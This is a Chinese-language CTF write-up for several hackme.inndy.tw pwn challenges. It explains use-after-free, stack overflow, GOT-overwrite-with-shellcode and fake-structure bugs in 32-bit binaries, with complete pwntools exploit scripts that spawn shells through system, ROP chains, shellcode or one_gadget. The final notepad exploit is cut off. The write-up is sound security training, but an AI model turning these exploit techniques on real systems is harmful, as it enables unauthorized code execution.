这题主要利用了uaf的漏洞,还有一些chunk空间复用的小技巧,由于是32位的堆题目,在查看内存空间分布的时候还挺不习惯的

这题的 数据结构是这样的:

1
2
3
4
5
6
7
8
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};

由于存在函数指针,那我们只需要存储函数指针的地方改成我们想要的函数,如system函数,然后再配合写入参数sh,就可以getshell了

需要注意的是:由于是32位,只能是4字节的参数,因此只能用system(sh)或者system($0)

在创建和分配堆的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int do_new()
{
int v1; // eax
signed int v2; // [esp+0h] [ebp-18h]
record *v3; // [esp+4h] [ebp-14h]
size_t size; // [esp+Ch] [ebp-Ch]

v2 = ask("Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = (int)malloc(0xCu);
v3 = (record *)records[v2];
v3->pppp = rec_int_print;
v3->ffff = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask("Type");
if ( v1 == 1 )
{
v3->u = ask("Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy record service premium to store longer record!");
v3->u = (uuu)malloc(size);
printf("Value > ");
fgets((char *)v3->u, size, _bss_start);
v3->pppp = rec_str_print;
v3->ffff = rec_str_free;
}
puts("Okey, we got your data. Here is it:");
return ((int (__cdecl *)(record *))v3->pppp)(v3);
}

可知如果record的value是一个int,那么就由一个chunk存储

如果是string的话,将会再次创建一个chunk进行存储

利用的思路是:

  • 创建chunk0(int)
  • 创建chunk1(string)
  • free chunk1、chunk0
  • 使得相对应的chunk进入fastbin
  • 再次分配chunk2(string)
  • 由于fastbin的分配机制,会导致chunk2的内容写到chunk1的地方
  • 这时写入chunk2的内容为system和sh
  • delete chunk1即调用了system(sh)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7719)
else:
p = process("./raas")#, aslr=0

elf = ELF("./raas")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def new(idx,Type,Length,Value):
ru("Act > ")
sl("1")
ru("Index > ")
sl(str(idx))
ru("Type > ")
sl(str(Type))
if Length!=0:
ru("Length > ")
sl(str(Length))
ru("Value > ")
sl(Value)

def delete(idx):
ru("Act > ")
sl("2")
ru("Index > ")
sl(str(idx))

def show(idx):
ru("Act > ")
sl("3")
ru("Index > ")
sl(str(idx))
system = elf.plt["system"]

new(0,1,0,"1")
new(1,2,16,"aaaa")

delete(1)
delete(0)

new(2,2,12,"$0\0\0"+p32(system))

delete(1)
getshell()

rsbo1、2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled***
PIE: No PIE (0x8048000)

这两题的文件都一样的,只不过cat到的flag不同

主要的漏洞点出在这里:

1538915316992

解法做法有很多,

第一种做法是,利用open,read,write函数把/home/ctf/flag中的flag打印出来

第二种是直接getshell,得到/home/ctf/flag的flag和/home/ctf/flagxxxxxxxx的flag(分别对应rsbo1和rsbo2的flag)

用第一种方法的话

exp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
#p = process('./rsbo1')
p = remote('hackme.inndy.tw', 7706)
elf = ELF('./rsbo1')

start = 0x08048490
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
log.info("open_plt -->[%s]"%hex(open_plt))
log.info("read_plt -->[%s]"%hex(read_plt))
log.info("read_plt -->[%s]"%hex(write_plt))
bss = elf.bss()
offset = 108
flag_add = 0x80487d0

payload = '\x00'*offset + p32(open_plt) + p32(start) + p32(flag_add) + p32(0)
p.send(payload)
payload1 = '\x00'*offset + p32(read_plt) + p32(start) + p32(0x3) + p32(bss) + p32(0x60)
p.send(payload1)
payload2 = '\x00'*offset + p32(write_plt) +p32(0xdeadbeef) + p32(1) + p32(bss) + p32(0x60)
p.send(payload2)

p.interactive()

这里有几点需要注意的:

  • 程序中flag的路径是/home/ctf/flag,但我们本地是没有的,需要自己创建或者打path修改
  • 注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3
  • 在栈溢出填充ret_addr的时候,不能用main作为返回地址,要用start才能成功
  • 在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏

用第二种方法一起搞定rsbo12的话,就需要直接getshell

getshell的话也有多种做法

下面这种是最简单的,直接用多次返回start,调用函数进行getshell

但这个问题就是,本地怎么打都不通,远程一打就通,醉了醉了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip =""#hackme.inndy.tw
if ip:
p = remote(ip,7706)
else:
p = process("./rsbo1")

elf = ELF("./rsbo1")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
read_got = elf.got["read"]
bss =elf.bss()
write_libc = libc.symbols["write"]
start = 0x08048490
binsh_libc= libc.search("/bin/sh").next()
log.info("bss--->"+hex(bss))

payload ="\x00"*108+p32(write_plt)+p32(start)+p32(1)+p32(read_got)+p32(4)

sd(payload)
read = u32(p.recv(4))
log.info("read--->"+hex(read))

libc_base = read - libc.symbols["read"]
system_addr = libc_base +libc.symbols["system"]
sleep(0.5)

payload2 = "\x00" * 108 + p32(read) + p32(start) + p32(0) + p32(bss) + p32(9)
payload3 = "\x00" * 108 + p32(system_addr) + p32(start) + p32(bss)

sd(payload2)
sl("/bin/sh\0")
sd(payload3)
getshell()

第二种方法就是用栈迁移和_dl_runtime_resolve的方法,有的大佬用的是这种方法,网上搜一下应该能找到的

ps:寻找常用rop gadget 的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'''
ROPgadget --binary ./rsbo1 --only "mov|xor|pop|ret|call|jmp|leave" --depth 20
Gadgets information
============================================================
0x080483b0 : call 0x80484c6
0x080484f6 : call eax
0x08048533 : call edx
0x08048883 : jmp dword ptr [ebx]
0x080484f8 : leave ; ret
0x080481a8 : mov ah, 0xfe ; ret
0x08048557 : mov al, byte ptr [0xc9010804] ; ret
0x080484f3 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048530 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048554 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048528 : mov dword ptr [esp + 4], eax ; mov dword ptr [esp], 0x804a040 ; call edx
0x08048578 : mov dword ptr [esp], 0x8049f10 ; call eax
0x080484ef : mov dword ptr [esp], 0x804a040 ; call eax
0x0804852c : mov dword ptr [esp], 0x804a040 ; call edx
0x0804872e : mov eax, 0 ; leave ; ret
0x080484c0 : mov ebx, dword ptr [esp] ; ret
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1

Unique gadgets found: 24

'''

leave_msg

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found****
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments****

这题算是有点骚东西的题吧,首先他有几个段是有rwx权限的,首先可能想到的是会用到shellcode

主要就只分析main函数就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main()
{
int v0; // eax
signed int i; // [esp+4h] [ebp-424h]
int index; // [esp+8h] [ebp-420h]
char nptr; // [esp+Ch] [ebp-41Ch]
char buf; // [esp+1Ch] [ebp-40Ch]
char v6; // [esp+24h] [ebp-404h]
unsigned int v7; // [esp+41Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
while ( 1 )
{
v0 = num++;
if ( v0 > 2 )//只能输入三次
break;
puts("I'm busy. Please leave your message:");
read(0, &buf, 0x400u);
puts("Which message slot?");
read(0, &nptr, 0x10u);
index = atoi(&nptr);
if ( strlen(&buf) > 8 )//strlen函数遇到\0就停止计算长度,可通过输入\0绕过
{
puts("Message too long, truncated.");
v6 = 0;
}
if ( index <= 64 && nptr != '-' )
//atoi函数导致index仍然可以为负数,只需要输入“ -x”,
//atoi会跳过字符串前面的空格或者换行符,直到遇到数字才进行转换
list[index] = strdup(&buf);
//strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块
//接着把堆地址赋值给list[index]
else
puts("Out of bound.");
}
puts("Here is your messages:");
for ( i = 0; i <= 63; ++i )
{
if ( list[i] )
printf("%d: %s\n", i, list[i]);
}
puts("Goodbye");
return 0;
}

1543594211409

由此可以见,0x804a000–0x804b000居然是可以执行的,这里有个骚的地方是,可以在got表写入可执行的代码,在调用某个函数的时候就可以间接执行你的shellcode,但是这里限制了8个字节的长度,那么可写入的shellcode就有限了,仅能做间接跳转使用

这题的思路是这样的:

1、由于存在数组负数越界,就可以往got表修改内容,将got表改成一段汇编指令

2、由于可以绕过8字节检查,通过添加\0把shellcode写进栈里面

3、通过got表中的汇编指令,执行shellcode

首先构造一个输入:"a"*8+"\x00"+"b" * 8

这样可以让"a"*8被存入puts的got表中,同时绕过八个字节长度的限制,将”b” * 8写入栈中

接下来就是调试,我们需要调试出”b” 8到esp的距离,从而写一条这样的指令add esp,xxx;jmp esp;让程序的执行流程到”b” 8的地方

在第一次输入后的,再第二次call puts函数前下个断点:0x0804861d

1543593290952

在此处下断点,可以得到我们想要看到的栈布局,从而计算出字符串离esp的偏移

si进入call puts:

1543593816965

这里我们就可以看到:输入的字符串离esp的偏移是0x30,如果puts的got表中的内容是add esp,0x30;jmp esp;那么这里call puts的时候就会直接执行这条语句,导致esp的位置指向输入字符串buf的位置

要指向shellcode的话就往下移动 len(jump)+1,就可以指向shellcode了

这题的主要难点应该是需要绕过平常做题的思维局限,got不一定得写地址,在特定的条件下还能写shellcode进行执行,另外就是调试的要熟练,才能找出0x30的偏移

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./leave_msg"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7715)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')

def getshell():
p.interactive()
#-------------------------------------
shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x36;jmp esp;")

sda(p,"I'm busy. Please leave your message:\n",jump+"\x00"+shellcode)
sda(p,"Which message slot?"," -16")

getshell()

stack

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这保护全开,有点少见

这是一个模拟栈的pop和push操作的程序:

主要用到的就是pop函数和push函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl stack_pop(_DWORD *a1)
{
*a1 += &unk_1FBF + 0xFFFFE040;
return *(&dword_1FC4[-2032] + &a1[*a1]);
}

int __cdecl stack_push(int *a1, int a2)
{
int result; // eax

result = *a1;
*a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
a1[result + 1] = a2;
return result;
}

但是反编译出来的东西有点迷,不太助于分析,直接看汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
.text:00000717                 public stack_pop
.text:00000717 stack_pop proc near ; CODE XREF: main+10C↓p
.text:00000717
.text:00000717 arg_0 = dword ptr 8
.text:00000717
.text:00000717 ; __unwind {
.text:00000717 push ebp
.text:00000718 mov ebp, esp
.text:0000071A ; 2: *a1 += &unk_1FBF + 0xFFFFE040;
.text:0000071A call __x86_get_pc_thunk_ax
.text:0000071F add eax, 18A1h
.text:00000724 mov eax, [ebp+arg_0]
.text:00000727 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000729 lea edx, (unk_1FBF - 1FC0h)[eax]
.text:0000072C mov eax, [ebp+arg_0]
.text:0000072F mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
.text:00000731 ; 3: return *(&dword_1FC4[-2032] + &a1[*a1]);
.text:00000731 mov eax, [ebp+arg_0]
.text:00000734 mov edx, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000736 mov eax, [ebp+arg_0]
.text:00000739 mov eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]
.text:0000073D pop ebp
.text:0000073E retn
.text:0000073E ; } // starts at 717
.text:0000073E stack_pop endp

-----------------------------------------------------------------

.text:000006F0 public stack_push
.text:000006F0 stack_push proc near ; CODE XREF: main+DC↓p
.text:000006F0
.text:000006F0 arg_0 = dword ptr 8
.text:000006F0 arg_4 = dword ptr 0Ch
.text:000006F0
.text:000006F0 ; __unwind {
.text:000006F0 push ebp
.text:000006F1 mov ebp, esp
.text:000006F3 ; 4: result = *a1;
.text:000006F3 call __x86_get_pc_thunk_ax
.text:000006F8 add eax, 18C8h
.text:000006FD mov eax, [ebp+arg_0]
.text:00000700 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000702 ; 5: *a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
.text:00000702 lea ecx, (_GLOBAL_OFFSET_TABLE_+1 - 1FC0h)[eax]
.text:00000705 mov edx, [ebp+arg_0]
.text:00000708 mov [edx], ecx
.text:0000070A ; 6: a1[result + 1] = a2;
.text:0000070A mov edx, [ebp+arg_0]
.text:0000070D mov ecx, [ebp+arg_4]
.text:00000710 mov [edx+eax*4+4], ecx
.text:00000714 ; 7: return result;
.text:00000714 nop
.text:00000715 pop ebp
.text:00000716 retn
.text:00000716 ; } // starts at 6F0
.text:00000716 stack_push endp

pop函数中:mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx 可以发现pop函数在进行操作的时候,实际上是以edx的值为基准的

在push函数中:mov [edx+eax*4+4], ecx,同样的,push操作也是和edx有关

进行gdb调试看看到底是怎么样:

在进入pop函数前下断点.text:00000717 push ebp

1544618431483

可以发现,【eax-1】是代表了进行pop操作的下标-1,而下标索引值又赋值给了edx,最后edx又存到了【eax】的地方:

1544618592025

由此可见,0xfffc7548存着索引的值

si一步步执行

继续跟进,看看执行push函数的时候发生了什么

在进入push函数前下断点:.text:000006F0 push ebp

1544618991170

同样的对下标进行了+1的操作,接着ecx存储着索引,ecx为1,接着会发现,ebp+0xc的位置的值竟然被赋值给了ecx,接着ecx就被赋值到了【edx+eax*4+4】的地方去

1544619354762

而【edx+eax*4+4】的地址恰好就是0xfffc7548!也就是说pop和push函数用的下标索引的地址是同一个,那么

如果先pop一下,再push(n),再一次pop的时候,就能把下标为n的地方的内容给pop出来

改变了pop和push的索引基准,之后的每一次pop或者push,都会在n的基础上进行

接下来的利用思路就简单了,就是找到这个n,把main函数的ret地址给pop出来,泄漏一波得到libc的偏移,从而可以得到onegadget地址,接着再push(onegadget)把main的返回地址改成one更好,就能实现getshell了

那么怎么找到这个n的具体的值?

在main函数的结尾处的.text:00000916 retn下一个断点,来看看main将要结束时候的栈布局

1544619486369

发现,main在退出的时候,返回地址是0xfffc76bc

从而算出:

0xfffc76bc-0xfffc7548 = 0x174

0x174/4 = 0x5d

那么这个n就是0x5d,也就是93了

接下来的操作就是首先pop()一下,push(93),pop()一下泄漏出__libc_start_main+247的地址,从而得到libc基址

,也就能求出onegadget,这时在push(onegadget),然后输入x退出程序就能getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from os import *
context.log_level = "debug"
bin_elf = "./stack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7716)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def getshell():
p.interactive()
#--------------------------------------------

def push(num):
ru("Cmd >>\n")
sl("i "+str(num))

def pop():
ru("Cmd >>\n")
sl("p")
ru("Pop -> ")
val=ru('\n')[:-1]
print val
print "pop-->"+hex(int(val)&0xffffffff)
return int(val)&0xffffffff

def exit():
p.sendline('x')

#gdb.attach(p)
pause()

pop()
push('93')

libc_base=pop()-libc.symbols['__libc_start_main']-247
one = libc_base+0x5fbc5#远程端:0x5faa5
push(str(one- (1<<32)))
ru("Cmd >>\n")
sl("x")

getshell()

这题的重点还是在于调试,跟着汇编看流程,做这题深刻意识到了IDA不是万能的,反编译出来的汇编指令跟gdb动态调试的居然会不同orz

very_overflow

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开了个nx,看到这熟悉的菜单选择功能,还以为是一道堆的题目,但实际上不是,是一个在栈上操作一个结构体的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void vuln()
{
NOTE buffer[128]; // [esp+1Ch] [ebp-420Ch]
int loop_switch; // [esp+421Ch] [ebp-Ch]

loop_switch = 1;
memset(buffer, 0, 0x4200u);
while ( loop_switch )
{
switch ( choose() )
{
case 1:
add_note(buffer);
break;
case 2:
edit_note(buffer);
break;
case 3:
show_note(buffer);
break;
case 4:
dump_notes(buffer);
break;
case 5:
loop_switch = 0;
break;
default:
puts("Invalid option!");
break;
}
}
}

结构体:

1
2
3
4
struct NOTE {
struct NOTE* next;//指向下一个note
char data[128];
};

这个结构体在栈上面分布,由于没有限制note的数量,一开始的想法是想疯狂add,一直爆到他栈底的返回地址附近,但发现栈的大小是0x420c,这就太大了,不好操作

1544710045279

add(“aa”)一下,随便添加一个note,进入gdb看看情况

通过show(0)的功能,可以看到note的next,也就可以泄漏出note结构体的存储地址

1544710354911

这里可以看到我们创建的第一个note在栈里面的情况,首先存储了next,接着就是data的内容,而根据next的计算方法:node->next = (node + strlen(node->data) + 5)

可以看到note0的next是0xffe8b514,刚刚好指向了data后面的一个字的位置

又根据程序的edit函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl edit_note(NOTE *node)
{
int v1; // ST04_4
NOTE *nodea; // [esp+30h] [ebp+8h]

printf("Which note to edit: ");
v1 = read_integer();
nodea = find_node_by_id(node, v1);
if ( nodea )
{
printf("Your new data: ");
fgets(nodea->data, 128, stdin);
puts("Done!");
}
}

发现可以溢出修改note0的data,从而可以修改note0的next所指向的地方,这样一来也就可以自己伪造note了

接下来再看看,note0往下0x4200位置的地方是什么东西:

1544710731806

可以看到,这下面就是main函数的返回地址,这样一来利用的思路就很清晰了,先通过伪造note,把next一直指向到__libc_start_main+247,然后通过show,把他的地址给泄漏出来,从而得到libc

接着再使得next指向(__libc_start_main+247)-0x8的位置,这时再添加新的note,就会改变__libc_start_main+247的值(改为onegadget),在程序正常退出的时候就会改变程序的执行流程从而getshell

这里有个小细节需要注意的:

show函数是根据id来show出内容的,因此需要注意得看dump函数中的id,以确定需要泄漏的note在哪个位置

而add函数则是 通过node->next和 node->data[0]来添加新的note的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./very_overflow"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc

if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7705)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)

def getshell():
p.interactive()
#-------------------------------------

def add(contant):
sla(p,"Your action: ","1")
sla(p,"Input your note: ",contant)
def edit(index,contant):
sla(p,"Your action: ","2")
sla(p,"Which note to edit: ",str(index))
sla(p,"Your new data: ",contant)
def show(index):
sla(p,"Your action: ","3")
ru("Which note to show: ")
sl(str(index))

def show_all():
sla(p,"Your action: ","4")


gdb.attach(p)
pause()

add("aa")
show(0)
ru("Next note: 0x")
note = int(p.recv(8),16)
print "next note is-->",hex(note)
pause()

edit(0,"a"*4+p32(note+0x4200-0x20))

pause()

add("b"*2)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40+8))
pause()

show(4)
ru("Next note: 0x")
libc_main = int(p.recv(8),16)
libc_base= libc_main-0x18637
#这个地方有点迷,泄漏出来是实际上应该是__libc_start_main_ret
#但libc.symbols会提示找不到符号
#去libcdatabase查了一波,得到了0x18637的偏移

one = libc_base+0x5fbc5#远程端:0x5faa5,本地:0x5fbc5
print "onegadget---->",hex(one)
print "libc_base-->",hex(libc_base)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40))
pause()
add(p32(one)*2)

sla(p,"Your action: ","5")

getshell()

做完这题后去查了别的师傅的wp,发现他们的做法都不一样,有的是改got表的操作,有的是return2dl_resolve的操作,真是太秀了

notepad

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

常规保护机制nx+canary

这是一道堆漏洞利用的题目,题目逻辑略显复杂,但大部分都是花里胡哨的没用的逻辑,进去会先看到一个菜单,直接进入notepad进行分析,其他的都是没用的

首先看这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int notepad_new()
{
char *v1; // eax
char *v2; // ST1C_4
char **v3; // [esp+4h] [ebp-14h]
signed int n; // [esp+8h] [ebp-10h]

v3 = notepad_find_slot();
if ( !v3 )
return puts("space is full");
printf("size > ");
n = readint();
if ( n <= 0 || n > 0x400 )
return puts("invalid size");
v1 = malloc(n + 16);
v2 = v1;
*(v1 + 3) = n;
*(v1 + 2) = 1;
*v1 = notepad_show;
*(v1 + 1) = notepad_destory;
printf("data > ");
fgets(v2 + 16, n, stdin);
*v3 = v2;
return printf("your note id is %d\n", (v3 - notes) >> 2);
}

可以看到,new函数,可以分配0x10~0x410大小的chunk,在chunk中有以下结构:

1
2
3
4
5
6
7
struct note{
notepad_show *notepad_show;//存储一个函数指针,用于输出内容chunk
notepad_destroy *notepad_destroy;//存储一个函数指针,用于清空data
int flags;//标记,判断是否可以open进行编辑
int n;//data数组的大小
data[n]//note的内容
}

这个程序大量使用了函数指针的方式,这就有可能造成函数指针窜用的漏洞

继续看open函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned int notepad_open()
{
int v0; // ST1C_4
int *v2; // [esp+4h] [ebp-1024h]
int v3; // [esp+8h] [ebp-1020h]
const char *v4; // [esp+10h] [ebp-1018h]
const char *v5; // [esp+14h] [ebp-1014h]
int v6; // [esp+18h] [ebp-1010h]
char s; // [esp+1Ch] [ebp-100Ch]
unsigned int v8; // [esp+101Ch] [ebp-Ch]

v8 = __readgsdword(0x14u);
v2 = notepad_choose();
if ( v2 )
{
v3 = *v2;
puts("note opened");
if ( *(v3 + 8) && yes_or_no("edit") )
{
printf("content > ");
fgets(&s, 0x1000, stdin);
strncpy((v3 + 16), &s, *(v3 + 12));
puts("note saved");
}
v4 = "show note";
v5 = "destory note";
v6 = 0;
v0 = menu(&v4);//看下面menu函数的具体实现
(*(v3 + 4 * (v0 - 1)))(v3);//这里可以造成后一个chunk非法访问前一个chunk的内容
puts("note closed");
}
return __readgsdword(0x14u) ^ v8;
}


int __cdecl menu(int a1)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]

for ( i = 0; *(4 * i + a1); ++i )
printf("%c> %s\n", i + 97, *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';//仅仅简单的相对应‘a’进行判断,如果输入比‘a’小的字符一样可以通过检验
freeline();
if ( v3 < i )
result = v3 + 1;
else
result = 0;
return result;
}

通过上的分析,我们可以通过构造chunk的内容来实现改变程序流程

思路是这样的:

假设有chunk0和chunk1,使得chunk0的data的最后一个字长内容为一个函数puts的地址,然后在open chunk1,再选择 “show note destory note”的时候输入”^”(也就是ASCII的94)

那么,当执行到(*(v3 + 4 * (v0 - 1)))(v3);的时候,就是执行函数puts(v3),通过这样一种方式实现了改变执行流程执行了其他的函数

这里可以做到执行任意地址,但是参数v3还没法控制,默认还是一个堆的地址,这个时候就需要用到堆的overlap的操作,先free chunk0和chunk1,再重新分配使得chunk1的内容可以任意改,从而控制参数的内容

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./notepad"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.i386")
p = remote("hackme.inndy.tw",7713)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
